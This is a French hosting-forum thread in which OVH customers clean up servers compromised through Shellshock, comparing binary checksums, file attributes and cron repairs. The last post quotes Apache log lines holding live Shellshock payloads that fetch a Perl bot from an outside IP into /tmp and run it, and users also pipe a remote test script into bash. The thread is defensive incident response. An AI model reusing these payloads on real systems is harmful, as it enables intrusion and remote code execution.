OVH Community, votre nouvel espace communautaire.

Problème tache cron ?


titus13
06/01/2015, 10h00
Je viens d'ajouter manuellement un test dans ma /etc/crontab et ça fonctionne.
echo test | mail -s test -- monmail@free.fr

je vais voir si cela fonctionne pour mes autres scripts :-(

titus13
06/01/2015, 09h52
Problème avec cron sur realease 2
plusieurs taches cron (certaines sont sur root d'autres sur d'autres user que je modifie en crontab -e -u USER) , je les vois bien sous webmin.
par contre ça ne se lance pas.
Ca marchait encore il y a plus d'un mois (octobre, novembre je en sais plus)... et depuis un client m'a reporté des problèmes..
j'ai cru que ça refonctionnait mais que neni.
J'ajoute que tous les scripts fonctionnent bien indépendamment.

# ps -aux | grep cron
root 8273 0.0 0.0 16516 748 ? Ssl 09:19 0:00 /usr/sbin/cron

ensuite
# kill 8273

je peux démarrer vixie cron
# /etc/init.d/vixie-cron start
* Starting vixie-cron ... [ ok ]

Seuelement
/etc/init.d/vixie-cron stop
ou /etc/init.d/vixie-cron restart renvoi une erreur [ !! ]

un zap fonctionne (?)
* Manually resetting vixie-cron to stopped state.

mais quand je fais un restart ou start j'ai toujours une erreur [!!]

La seule chose que j'ai dans mes logs :
Jan 6 09:21:15 nsXXXX /usr/sbin/cron[8934]: (CRON) STARTUP (V5.0)
Jan 6 09:21:15 nsXXXX /usr/sbin/cron[8934]: (crontabs) ORPHAN (no passwd entry)
Jan 6 09:21:15 nsXXXX /usr/sbin/cron[8934]: (lastrun) ORPHAN (no passwd entry)
Jan 6 09:22:01 nsXXXX /usr/sbin/cron[9021]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Jan 6 09:23:01 nsXXXX /usr/sbin/cron[9242]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)

dans le syslog j'ai ces erreurs....
Jan 6 09:26:54 ns390525 collectd[5897]: rrd_update failed: df-dev.rrd: illegal attempt to update using time 1420532814 when last update time is 1420532814 (minimum one second step)

je ne sais pas si c'est lié.

J'ai vu la solution de mettre en dur avec le user dans la crontab... mais je préfèrerai eviter et garder un fonctionnement normal.
Hack (?)

Merci pour votre aide.

Grag38
12/11/2014, 11h56
Oui je comprends bien que ce serait mieux, mais je ne peux pas pour le moment...

Si quelqu'un avait ce type de serveur dans un état sain, et qu'il pouvais me donner les md5sum de cron, ssh-add, sshd, lsof et bash... ce serait super.

les miens sont :

3ae0b914b61835620245c39b67ebd8ee /usr/sbin/sshd en version OpenSSH_5.5p1, OpenSSL 0.9.8o 01 Jun 2010
e2411b649beadd88d583b796410b147e /usr/bin/ssh-add
53e61ea6c962d305bb59c726edb30f28 /usr/sbin/cron
88e1cf37022e0c151f11d018077471d3 /usr/src/bin/lsof revision: 4.76
7bcc0774af42faffc50ca04293a8a1ad /bin/bash GNU bash, version 4.3.29(3)-release (i686-pc-linux-gnu)


de plus j'ai remarquer un fichier dans /usr/include/daemon qui est vraiment bizarre... il se nomme if_buf.h et ne ressemble pas du tout à un fichier include...

Et encore un truc, j'ai passé en revue lsof et j'ai 2 lignes bizarres aussi, à votre avis à quoi elles correspondent ?

les voici :

bufdaemon 4148 root 10u IPv4 20850080 0t0 TCP nsxxxxx.ovh.net:47519->162.218.52.238:7500 (ESTABLISHED)
init 4274 root 10u IPv4 20236995 0t0 TCP nsxxxxxovh.net:42225->195-154-136-79.rev.poneytelecom.eu:7500 (ESTABLISHED)

merci

bbr18
12/11/2014, 10h21
la meilleure chose à te conseiller : sauvegarde des données puis réinstallation du serveur, le reste c'est des rustines sur une jambe de bois qui ne font que retarder la mise en rescue pour hack du serveur.

Grag38
12/11/2014, 10h19
Bonjour,

J'ai deux serveurs qui ont été hackés en rapport avec ce thread...

J'ai appliqué toutes les régles afin de le nettoyer. Cependant, il reste un problème.

J'ai régulièrement 3 fichiers qui reviennent dans /usr/include :

[WARNING] file /usr/include/filearch.h found, deleting it
[WARNING] file /usr/include/uodbc_pos.h found, deleting it
[WARNING] file /usr/include/uodbc_pos.so found, deleting it
[WARNING] file /usr/include/uodbc_pos.h found, deleting it

je soupsonne qu'il reste encore un executable qui est vérolé mais je ne sais pas lequel... En effet le lsattr sur l'ensemble du disque ne me donne rien, et comme mon serveur n'est pas commun (pas un 64bits) je ne peux pas vérifier les md5sum...


je vous donne quelques éléments :

uname -a = Linux nsxxxxxxx.ovh.net 3.2.13-grsec-xxxx-grs-ipv6-32 #1 SMP Thu Mar 29 09:43:21 UTC 2012 i686 Intel(R) Core(TM) i5-2400 CPU @ 3.10GHz GenuineIntel GNU/Linux

C'est un Gentoo release 2.35

quand j'applique le script pour éradiquer tout cela il m'affiche :

OVH Rescue Hack Cleaner v0.18
[ok] file /var/spool/cron/crontabs/adgcf is clean
[ok] file /var/spool/cron/crontabs/agapprie is clean
[ok] file /var/spool/cron/crontabs/allosall is clean
[ok] file /var/spool/cron/crontabs/ascea is clean
[ok] file /var/spool/cron/crontabs/caraimmo is clean
[ok] file /var/spool/cron/crontabs/ccbe is clean
[ok] file /var/spool/cron/crontabs/fasilawe is clean
[ok] file /var/spool/cron/crontabs/fslempor is clean
[ok] file /var/spool/cron/crontabs/lspimmo is clean
[ok] file /var/spool/cron/crontabs/valencin is clean
[ok] file /etc/crontab is clean
[ok] file /etc/cron.daily/logrotate.cron is clean
[ok] file /etc/cron.daily/slocate is clean
[ok] file /etc/cron.weekly/makewhatis is clean
[ok] file /etc/init.d/webmin is clean
[ok] file /etc/conf.d/local.start is clean
[ok] file /etc/init.d/sshd is clean
[ok] file /tmp/.x not found, good
[ok] file /tmp/sh not found, good
[ok] file /etc/cron.weekly/logrotater not found, good
[ok] file /usr/libexec/ssh-keysign not found, good
[ok] file /usr/include/pi-crypt.h not found, good
[WARNING] file /usr/include/filearch.h found, deleting it
[WARNING] file /usr/include/uodbc_pos.h found, deleting it
[WARNING] file /usr/include/uodbc_pos.so found, deleting it
[WARNING] file /usr/include/uodbc_pos.h found, deleting it
[ok] file /tmp/arm not found, good
[ok] file /tmp/mips not found, good
[ok] file /tmp/.roleModelZ not found, good
[ok] file /tmp/.roleModel not found, good
[ok] file /tmp/b not found, good
[ok] file /tmp/init not found, good
[ok] file /tmp/p not found, good
[ok] file /var/system/pagezero not found, good
[ok] crontab binary is fine
[ok] directory /usr/src/bin has correct attributes
[ok] directory /tmp has correct attributes
[ok] no known-modified binary were found in /bin /sbin /usr/bin /usr/sbin, good
[ok] no known-trojans were found

Donc je pensais à dowloader et recompiler cron, bash, et ssh... qu'en pensez vous ?

Merci de votre aide.

pauline76
26/10/2014, 19h30
Merci flashgames mais j'ai un problème de sécurité JAVA qui visiblement n'accepte pas le certificat présenté par Webmin/files (quelque soit le navigateur, ce qui est normal car il n'y a qu'un seul java sur mon poste).
Le message d'erreur de JAVA ne propose pas de "faire confiance à ce site" (ce qui est très frustrant... (merci JAVA !)).
Après JAVA dit que cela peut être résolu via la configuration des paramètres de sécurité JAVA mais quand on y accède, c'est carrément "inbitable".
J'aimerais pouvoir dire à JAVA "arrête de me bloquer sur ce site" ou "arrête de me bloquer sur ce certificat", .... etc

flashgames
26/10/2014, 17h17
Citation Envoyé par pauline76
As-tu réussi à faire marcher le gestionnaire de fichiers sur une R3 ?
Release 3 > Webmin > Utilisateurs Webmin > Root > Les modules Webmin disponibles > coche "Gestionnaire de Fichiers". Redémarre le service Webmin.

Ensuite, va dans Release 3 > "Autres" (menu principal) > Gestionnaire de Fichiers.

Ensuite, tout fonctionne pour moi à ce niveau.

pauline76
26/10/2014, 15h43
Entièrement d'accord avec toi bbr18 !

Citation Envoyé par bbr18
le tout bête gestionnaire de fichiers par exemple, webmin avec une version obsolète, etc. Ok on peut y remédier mais alors ce n'est plus une distribution prête à l'emploi et/ou destinée aux débutants.
J'ai ce problème de gestionnaire de fichiers sur la R3 qui semble bloqué (problème de "sécurité" JAVA...).

As-tu réussi à faire marcher le gestionnaire de fichiers sur une R3 ?

bbr18
26/10/2014, 13h34
je ne crache pas sur les releases, j'ai débuté avec la R1 puis R2, cela m'a permis de commencer en douceur, de plus cela correspondait à mes besoins, ce que je critique ce n'est pas la R3 en elle-même qui est simple à appréhender et répond à des besoins standards d'hébergement de domaine, mais le fait que le support dise "allez-y foncez, prenez-là elle est terminée", je regrette mais elle n'est pas encore aboutie et personne ne s'en occupe plus depuis plusieurs mois. pour moi une distribution finalisée c'est une distribution exempte de bugs connus (car corrigés), des modules à jour (sur l'accueil s'affiche " All installed packages are up to date" alors que c'est faux, que des modules de base de webmin ne sont pas présents, ce n'est plus du prêt à l'emploi mais du prçet à bidouiller ce qui est à l'opposé de ce que recherchent ceux qui choisissent cette distribution.
nowwhat beaucoup ne sont pas prêts à passer au tout SSH, il ne faut pas être sectaire, par contre choisir un panel ouvert qui permet d'ajouter des choses sortant de l'ordinaire me semble être un bon compromis.
(on s'éloigne des tâches cron... )

Nowwhat
26/10/2014, 13h11
Citation Envoyé par bbr18
.... Ok on peut y remédier mais alors ce n'est plus une distribution prête à l'emploi et/ou destinée aux débutants.
Et ainsi OVH a rendu un énorme service à sa clientèle:
Il n'existe pas un LAMP , WAMP, etc simple d'emploi qui ne nécessite peu ou pas de connaissance préalable.

Je respecté l'idée qu'ils (OVH) veulent proposer un système "prêt à l'emploi" mais sachant que chaque client a des autres demandes et besoins, un système universel ne peut exister.

Le résultat final est que dès qu'un souci arrive, on ne trouve rien sur le net, dans un doc, nulle part pour se renseigner**. Du coup il faut être 'expert' pour trouver des solutions. Ce qui est totalement contraire à la raison pourquoi ce Rx a été choisi au début.

** en dehors des vos efforts, BBR, bbr187, cassiopee.

bbr18
26/10/2014, 12h25
C'est clair que même si ovh a décidé de ne plus maintenir la R2, ils auraient pu l'annoncer avec une date butoir ce qui aurait permi à ceux qui étaient sur cette R2 de déménager tranquillement, stopper tout brutalement au moment où un problème majeur arrive ce n'est pas terrible surtout en laissant les clients se débrouiller tous seuls (cette distribution à la base n'est pas destinée aux pros de la ligne de commande et de Linux donc beaucoup sont complètement perdus).
Là où je ne comprends pas tous ceux qui sont victimes de ces failles, c'est de vouloir à tout prix remettre la release sur pied, pour quoi faire ? Attendre le prochain hack ? Il serait plus judicieux au lieu de passer des jours et des jours là-dessus de migrer vers autre chose. Mais ce n'est que mon humble avis ^^

Quant à leur conseil de passer en R3, c'est bien sympa mais faudrait peut-être d'abord la finaliser, actuellement il y a encore des bugs, plein de choses auxquelles sont habitués ceux venant de la R2 ne sont pas présentes, le tout bête gestionnaire de fichiers par exemple, webmin avec une version obsolète, etc. Ok on peut y remédier mais alors ce n'est plus une distribution prête à l'emploi et/ou destinée aux débutants.

flashgames
26/10/2014, 11h48
Petite parenthèse et suggestion pour OVH concernant ce type de hack massif.

Impactant pas mal de monde (je pense à plusieurs centaines), il serait bien qu'OVH créé soit plus réactif sur une synthèse des solutions face à ce problème en particulier, ou qu'il y ai une communication plus claire sur ces sujets somme toute grave. Qu'y a t-il de plus fragilisant qu'un hack serveur pour un webmaster ?

Au téléphone, on me suggère de changer de serveur vers la release 3, sans pour autant m'orienter vers des solutions de l'instant ni même me donner la sensation qu'ils sont au courant.
Les réponses ticket incident restent vagues et les réponses les plus pertinentes se trouvent sur le forum, par les utilisateurs, sensés avoir un degrés de moins de connaissance qu'OVH sur la release (2) qu'ils ont développé.

Et les jours passent avec cette épée de damoclès au dessus de la tête sans communication sur le sujet.

cassiopee
25/10/2014, 23h49
Ce n'est pas ce que j'ai de mon côté :

Code:
-rwxr-s--x 1 root 103 33160 d▒c 11  2007 /usr/bin/crontab
Les droits sont différents et le groupe d'appartenance aussi.

chriswa
25/10/2014, 19h40
Citation Envoyé par cassiopee
Il doit y avoir un problème avec les droits Unix du fichier qui ne sont pas les bons.

Cf plus haut pour les bons droits/propriétaire Unix/groupe que doit avoir ce fichier.
Voilà ce que j'ai :

ls -al /usr/bin/crontab
-rwsr-xr-x 1 root crontab 33160 oct 25 18:39 /usr/bin/crontab

Pareil que sur l'ancien que j'ai remis et qui fonctionne...

cassiopee
25/10/2014, 19h23
Citation Envoyé par chriswa
sh: /usr/bin/crontab: cannot execute binary file
Il doit y avoir un problème avec les droits Unix du fichier qui ne sont pas les bons.

Cf plus haut pour les bons droits/propriétaire Unix/groupe que doit avoir ce fichier.

chriswa
25/10/2014, 19h13
Merci Cassiopee pour la réponse,

J'ai mis tes 3 fichiers sur mon serveur, mais maintenant j'ai l'erreur suivante dans webmin lorsque j'essaie d'enregistrer un cron (Ça marchait avant) :
C'est en espagnol...
Error al salvar tarea de cron : Se detectó un error en la nueva configuración de Cron :
sh: /usr/bin/crontab: cannot execute binary file
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.XXXX0UKFQd installed on Thu Oct 23 18:44:04 2014)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)

Faut-il redémarrer quelque chose après le changement de fichier ?

cassiopee
25/10/2014, 16h58
Si ces fichiers "ssh-add" et "crontab" viennent de chez moi, non, il n'y a aucun risque.

Pour ceux qui veulent être sûr à 100%, j'ai re-uploadé les fichiers sous forme compressé :

ssh-add gzippé : http://demo.ovh.eu/fr/4fb48f113b4aec9ce371d3d33df174da/
crontab gzippé : http://demo.ovh.eu/fr/d436102e1b2c456e90c2bc33e1fc91cb/

md5sum du ssh-add : 2d2f1b3fbde35cf9e76dd75f9b341e70
md5sum du crontab : 01cb5f3f9319455fa3fd8884be388b29

Et là il ne devrait y avoir aucune différence de checksum.

De plus, j'ai moi aussi pstree dans /usr/src/bin. Je ne me souviens pas l'avoir restauré. Est-ce un problème ?
1) Quels sont les droits Unix de ce fichier ?
2) Quel est son checksum ?
3) Y a-t'il d'autres commandes "pstree" dans le système ?

(traouvable via la commande :

Code:
find / -name "pstree"
)

Chez moi, ça donne :

Code:
# find / -name "pstree"

/usr/bin/pstree
/bin/pstree
Code:
# l /bin/pstree
-rwxr-xr-x 1 root root 19864 mai 24  2006 /bin/pstree

# l /usr/bin/pstree
lrwxrwxrwx 1 root root 11 déc  2  2011 /usr/bin/pstree -> /bin/pstree
Deux réponses mais en fait l'un n'est qu'un lien symbolique vers l'autre.

Code:
# md5sum /bin/pstree

ab4623d54e5f56e252f4fd98b72c5efe  /bin/pstree
Téléchargeable en version compressée là : http://demo.ovh.eu/fr/098a2965862c49d0cfad29373d7d3396/

chriswa
25/10/2014, 16h11
Bonjour,

Sur une release 2 32bits hackée, nettoyée grâce à ce post et actualisée ensuite à 2.35, j'ai ça :

md5sum /usr/bin/ssh-add
e2411b649beadd88d583b796410b147e /usr/bin/ssh-add

et

md5sum /usr/bin/crontab
0d5c8f71aaeef9aadc717f39cec72d54 /usr/bin/crontab
Est-ce que je dois me préoccuper ? Dans ce cas que faire ?

De plus, j'ai moi aussi pstree dans /usr/src/bin. Je ne me souviens pas l'avoir restauré. Est-ce un problème ?

Merci !

cassiopee
25/10/2014, 15h07
Citation Envoyé par xavier.f

2) /usr/bin/ssh-add


le checksum est c3dd3f47d794e1f8e9d6804989a4214d. Ce qui est différent de ceux listés jusqu'ici, Est-ce un réel pb ? :
Non, j'ai vérifié, c'est durant le transfert FTP entre ma Release 2 et chez moi que le fichier "perd" 5 octets, d'où cette différence ensuite.

Après le transfert FTP, j'ai bien moi aussi c3dd3f47d794e1f8e9d6804989a4214d comme md5 du fichier.

- - - Mise à jour - - -

Citation Envoyé par xavier.f
/usr/src/bin


chez moi /usr/src/bin n'est pas vide, j'ai les fichier lsof (2008) et pstree (2006).
Ok mais dans une Release 2 "propre", ce répertoire n'existe pas du tout, donc il est probable
qu'il contienne :

- soit les fichiers binaires originaux du système, déplacés là par le pirate
- soit des fichiers pirates

De mémoire, il me semble que c'était la première hypothèse.

Donc une fois ces bons fichiers recopiés là où il faut (à la place des scripts pirates),
il n'y a plus de raison de garder ce répertoire et son contenu
(ceci dit, le laisser ne fera pas de mal non plus )

xavier.f
25/10/2014, 14h02
/usr/src/bin
Citation Envoyé par cassiopee
Bah, s'il est vide, on peut le supprimer (ou le laisser, ça n'a pas vraiment d'importance, un répertoire seul ne peut pas nuire)
chez moi /usr/src/bin n'est pas vide, j'ai les fichier lsof (2008) et pstree (2006).

xavier.f
25/10/2014, 13h38

2) /usr/bin/ssh-add


Citation Envoyé par cassiopee

Il faut regarder si les attributs étendus sont "bizarres" ( = 's---ia--------') avec la commande "lsattr" sur ce fichier.,
si c'est le cas, c'est quand même un peu suspect.
c'était le cas.

Citation Envoyé par cassiopee

Une approche prudente : renommer le fichier actuel "ssh-add" sous un autre nom (donc ne pas l'effacer complètement)
et mettre à la place une copie d'un "bon" ssh-add. Je viens d'uploader le mien là : http://demo.ovh.eu/fr/d1cbb42cdee5df7c9e31eb8d53a20c1b/

Une fois le fichier recopier au bon endroit, s'il n'y a pas d'effets secondaires (genre un login ssh impossible => test à effectuer sans ferme le terminal ssh déjà ouvert mais en essayant d'un ouvrir un deuxième en parallèle) alors on peut le conserver ; Si jamais il y a un souci, on peut toujours remettre l'ancien ssh-add en place.
j'ai donc upper ton fichier ssh-add, merci.
le checksum est c3dd3f47d794e1f8e9d6804989a4214d. Ce qui est différent de ceux listés jusqu'ici, Est-ce un réel pb ? :

  • 07fb7cf86e3827ef1375fe2d08b7ee75 /usr/bin/ssh-add (sur mon srv avant reupload du fichier)
  • 2d2f1b3fbde35cf9e76dd75f9b341e70 (#184 cassiope, #185 un_passant)

si ça peut aider qqun, voici les commandes lancé :
Code:
# mkdir /root/suspecthack-20141025
# cd /usr/bin
ouvrir une session ssh en parallèle par sécurité
# mv ssh-add ssh-add_suspect20141025
upload du fichier 
# chmod +xxx /usr/bin/ssh-add
test ssh access
# mv /usr/bin/ssh-add_suspect20141025 /root/suspecthack-20141025
Merci Cassiopé!

cassiopee
25/10/2014, 01h08
Citation Envoyé par xavier.f
Un grand merci. Vous sauvez pas mal de monde !
Il me reste 3 modifs pour lesquels j'ai surement loupé les infos en parcourant les 28 pages .

1) Que reste-t-il à faire pour nettoyer /usr/bin/crontab

#md5sum /usr/bin/crontab
01cb5f3f9319455fa3fd8884be388b29 est la checksum par default sur OVH R2 (confirmé par #217 Cassiope)

Le fichier est donc intact? Reste à lancer # chattr ou # chmod ? (actuellement j'ai : s---ia-------- /usr/bin/crontab)
# chmod 2751 /usr/bin/crontab ?
D'abord le "chattr" sinon le "chmod" va sans doute échouer.
(oui c'est bien 2751)

2) que me reste-t-il à faire pour nettoyer /usr/bin/ssh-add

2d2f1b3fbde35cf9e76dd75f9b341e70 est la checksum par défaut sur R2 (#184 cassiope, #185).

Comme Garden j'ai 07fb7cf86e3827ef1375fe2d08b7ee75 /usr/bin/ssh-add (#188)
Pour répondre à Cassiope , j'utilise la 64bits avec la v2.35 (#192, #202)

Si les string doivent être identique (#206), comment nettoyer, svp ?
Faut remettre /usr/lib64/misc ? (si oui, comment?)

pour info la commande # ls -al /usr/bin/ssh-add renvoit :
-rwxr-xr-x 1 root root 131512 mar 18 2008 /usr/bin/ssh-add
Non, on ne peut pas "remettre "/usr/lib64/misc", ça ce sont des octets présents dans le fichier binaire.

Il faut regarder si les attributs étendus sont "bizarres" ( = 's---ia--------') avec la commande "lsattr" sur ce fichier.,
si c'est le cas, c'est quand même un peu suspect.

Une approche prudente : renommer le fichier actuel "ssh-add" sous un autre nom (donc ne pas l'effacer complètement)
et mettre à la place une copie d'un "bon" ssh-add.

Je viens d'uploader le mien là :

http://demo.ovh.eu/fr/d1cbb42cdee5df7c9e31eb8d53a20c1b/

Une fois le fichier recopier au bon endroit, s'il n'y a pas d'effets secondaires (genre un login ssh impossible =>
test à effectuer sans ferme le terminal ssh déjà ouvert mais en essayant d'un ouvrir un deuxième en parallèle)
alors on peut le conserver ; Si jamais il y a un souci, on peut toujours remettre l'ancien ssh-add en place.

3) /usr/src/bin ???

# lsattr /usr/src/bin renvoi
s---ia-------- /usr/src/bin

Que faire avec ce rep ? (pense pas qu'on en a déjà parlé)
Bah, s'il est vide, on peut le supprimer (ou le laisser, ça n'a pas vraiment d'importance, un répertoire seul
ne peut pas nuire)

Pour vérifier que je ne suis plus(trop) vulnérable je teste les commandes :
Code:
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
# lsattr /bin /sbin /usr/bin /usr/sbin 2>&1 | grep ia
# curl -k https://shellshocker.net/shellshock_test.sh | bash (voir http://shellshocker.net)
# env x='() { :;}; echo systeme vulnerable' bash -c 'echo bravo systeme ok'  
# ps ax | grep bufdaemon
D'autres commandes plus pertinentes ?
Si la Release 2 est en version 2.35, on ne peut pas faire beaucoup mieux de toute façon
(à la limite, compiler à partir des sources un Bash complètement à jour mais bon, je ne le recommande pas
pour les raisons habituelles (cf l'usage d'emerge, sortie de Release, etc.)

- - - Mise à jour - - -

Citation Envoyé par extralarge
Idem que toi.
Les fichiers sont datés de mars 2008.
Quid checksum Cassiopee stp ? As-tu la x86_64 en 2.35 car le tient est différent

Xavier
Oui, c'est le cas, je suis en 64 bits + 2.35

seifou
24/10/2014, 23h22
Merci extralarge pour ta réponse.

En cherchant du côté de /usr/sbin/cron j'ai finis par trouvé que c'est tout ce qui touche au cron qui pose problème.

De ce fait, j'ai réinitialiser le tout avec un : emerge vixie-cron ( merci au passage Pauline76, cf posts plus hauts ) et tout est rentré dans l'ordre.

A noter également que, en faisant un emerge sur une release ovh, cela sort du cadre des patchs, comme nous l'a rappelé Cassiopee

Mais vu que la R2 est arrivée en fin de vie, cette manip peut solutionner le problème le temps d'organiser la migration.


Encore Merci à tous les intervenants sur ce thread !!

extralarge
24/10/2014, 22h45
Citation Envoyé par Brain 0verride
Encore une fois avec toutes les réserves d'usage et uniquement sur une rl2 64 bits : http://www.christophe-casalegno.com/ovh/ovh.sh

amicalement,

Merci Christophe,
Xavier

Brain 0verride
24/10/2014, 22h01
Citation Envoyé par Un_passant
Même question, il y a moyen de bloquer le hack le temps de faire les changements?
Encore une fois avec toutes les réserves d'usage et uniquement sur une rl2 64 bits : http://www.christophe-casalegno.com/ovh/ovh.sh

amicalement,

extralarge
24/10/2014, 21h32
Citation Envoyé par seifou
Hello,

J'ai pareil que vous sachant que je suis sur R2 64b 2.35 qui fut semi-hackée
07fb7cf86e3827ef1375fe2d08b7ee75 /usr/bin/ssh-add

Tes tâches crons s’exécutent à nouveau extralarge ?
Les miennes ne se lancent toujours pas bien que j'ai vérifié et re vérifié les droits et les attributs.

J'ai l'impression que ça vient de vixie-cron, est-ce que le tient fonctionne sans problème si tu le stop le redémarre plusieurs fois de suite ?

Moi j'ai çà :



Une idée quelqu'un ?
hello Seifou,

Oui pas de prob pour le fonctionnement mais uniquement pour l'écriture dans le fichier LOG.
En remettant les droits communiqués par Cassiopee, ça a fonctionné de nouveau (log) mais :

- seulement le lendemain ( après une rotation syslog je pense.à 3h00)
- on dirait que le cron laisse le fichier cron.log en ouverture constante.

Pour stopper cron je suis obligé de faire un kill du .pid manuellement.
(Impossible de faire /usr/sbin/cron stop par ex).

Xavier

seifou
24/10/2014, 18h05
Hello,

J'ai pareil que vous sachant que je suis sur R2 64b 2.35 qui fut semi-hackée
07fb7cf86e3827ef1375fe2d08b7ee75 /usr/bin/ssh-add

Tes tâches crons s’exécutent à nouveau extralarge ?
Les miennes ne se lancent toujours pas bien que j'ai vérifié et re vérifié les droits et les attributs.

J'ai l'impression que ça vient de vixie-cron, est-ce que le tient fonctionne sans problème si tu le stop le redémarre plusieurs fois de suite ?

Moi j'ai çà :

nsxxx libexec # /etc/init.d/vixie-cron status
* status: started
nsxxx libexec # /etc/init.d/vixie-cron stop
* Stopping vixie-cron ... [ !! ]
nsxxx libexec # ps aux | grep cron
root 3002 0.0 0.0 16516 784 ? Ssl Oct23 0:00 /usr/sbin/cron
root 24982 0.0 0.0 5064 748 pts/0 S+ 17:49 0:00 grep --colour=auto cron
nsxxx libexec # kill 3002
nsxxx libexec # /etc/init.d/vixie-cron start
* WARNING: "vixie-cron" has already been started.
nsxxx libexec # /etc/init.d/vixie-cron zap
* Manually resetting vixie-cron to stopped state.
nsxxx libexec # /etc/init.d/vixie-cron start
* Starting vixie-cron ... [ ok ]
nsxxx libexec # /etc/init.d/vixie-cron stop
* Stopping vixie-cron ... [ !! ]
Une idée quelqu'un ?

extralarge
24/10/2014, 14h34
Citation Envoyé par xavier.f

2) que me reste-t-il à faire pour nettoyer /usr/bin/ssh-add

2d2f1b3fbde35cf9e76dd75f9b341e70 est la checksum par défaut sur R2 (#184 cassiope, #185).

Comme Garden j'ai 07fb7cf86e3827ef1375fe2d08b7ee75 /usr/bin/ssh-add (#188)
Pour répondre à Cassiope , j'utilise la 64bits avec la v2.35 (#192, #202)

Si les string doivent être identique (#206), comment nettoyer, svp ?
Faut remettre /usr/lib64/misc ? (si oui, comment?)

pour info la commande # ls -al /usr/bin/ssh-add renvoit :
-rwxr-xr-x 1 root root 131512 mar 18 2008 /usr/bin/ssh-add
Idem que toi.
Les fichiers sont datés de mars 2008.
Quid checksum Cassiopee stp ? As-tu la x86_64 en 2.35 car le tient est différent

Xavier

xavier.f
24/10/2014, 12h51
Un grand merci. Vous sauvez pas mal de monde !
Il me reste 3 modifs pour lesquels j'ai surement loupé les infos en parcourant les 28 pages .

1) Que reste-t-il à faire pour nettoyer /usr/bin/crontab

#md5sum /usr/bin/crontab
01cb5f3f9319455fa3fd8884be388b29 est la checksum par default sur OVH R2 (confirmé par #217 Cassiope)

Le fichier est donc intact? Reste à lancer # chattr ou # chmod ? (actuellement j'ai : s---ia-------- /usr/bin/crontab)
# chmod 2751 /usr/bin/crontab ?

2) que me reste-t-il à faire pour nettoyer /usr/bin/ssh-add

2d2f1b3fbde35cf9e76dd75f9b341e70 est la checksum par défaut sur R2 (#184 cassiope, #185).

Comme Garden j'ai 07fb7cf86e3827ef1375fe2d08b7ee75 /usr/bin/ssh-add (#188)
Pour répondre à Cassiope , j'utilise la 64bits avec la v2.35 (#192, #202)

Si les string doivent être identique (#206), comment nettoyer, svp ?
Faut remettre /usr/lib64/misc ? (si oui, comment?)

pour info la commande # ls -al /usr/bin/ssh-add renvoit :
-rwxr-xr-x 1 root root 131512 mar 18 2008 /usr/bin/ssh-add

3) /usr/src/bin ???

# lsattr /usr/src/bin renvoi
s---ia-------- /usr/src/bin

Que faire avec ce rep ? (pense pas qu'on en a déjà parlé)

--> une fois ces dernières questions éclaircies, je pense être bon .
Encore merci pour vos réponses, patience et explications. (particulièrement à Cassiope, Garden, Extralarge, LL45).

Pour vérifier que je ne suis plus(trop) vulnérable je teste les commandes :
Code:
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
# lsattr /bin /sbin /usr/bin /usr/sbin 2>&1 | grep ia
# curl -k https://shellshocker.net/shellshock_test.sh | bash (voir http://shellshocker.net)
# env x='() { :;}; echo systeme vulnerable' bash -c 'echo bravo systeme ok'  
# ps ax | grep bufdaemon
D'autres commandes plus pertinentes ?

---
ps : #222 garden "Je viens de me rendre compte que je m'etais deja fait hacké le 30/09" idem ici.
ps2: A propos du groupe 103 (voir #234, #235, #240), selon Webmin, l'user 103 est lié à ProFTPD, possible? (screenshot webmin)

Bon appétit,

cassiopee
24/10/2014, 11h41
Citation Envoyé par edlefou05
je peux désormais administrer mes taches sous Webmin.
Super Content pour toi

edlefou05
24/10/2014, 11h24
Citation Envoyé par cassiopee
C'est un peu bizarre qu'il te parle de "/bin/crontab" alors que normalement c'est dans "/usr/bin/crontab" ?

Voilà comment doivent être positionnés les droits de "/usr/bin/crontab" :

Code:
# ls -al /usr/bin/crontab

-rwxr-s--x 1 root 103 33160 déc 11  2007 /usr/bin/crontab
Il faut donc que tes droits / propriétaire/groupe soient les mêmes que ci-dessus.
J'ai bien positionné les droits sur /usr/bin/crontab (avec chmod 2751 /usr/bin/crontab) et j'ai supprimé le fichier crontab se trouvant dans /bin
et je peux désormais administrer mes taches sous Webmin.
Un grand merci Cassioppee pour ton aide précieuse. A moi les grandes joies de la migration

extralarge
24/10/2014, 07h32
Voici un extrait d'un log

Recherche "/tmp" dans error_log d'apache


[Mon Oct 20 21:15:08 2014] [error] [client 37.1.207.83] client denied by server configuration: /home/XXXXXXREMPLACE/www/, referer: () { :;}; /bin/bash -c "wget -P /tmp http://37.1.207.83/log.php?get=aHR0cDovL2J0cy1iYXRpbWVudC5vcmcv"

recherche " /tmp" /home/log/httpd/ovh-access_log


extrait :

212.227.22.41 - - [19/Oct/2014:15:08:14 +0200] "GET /cgi-bin-sdb/printenv HTTP/1.1" 302 325 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
212.227.22.41 - - [19/Oct/2014:15:08:14 +0200] "GET /cgi-bin/php HTTP/1.1" 302 325 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
212.227.22.41 - - [19/Oct/2014:15:08:15 +0200] "GET /cgi-bin/php5 HTTP/1.1" 302 325 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
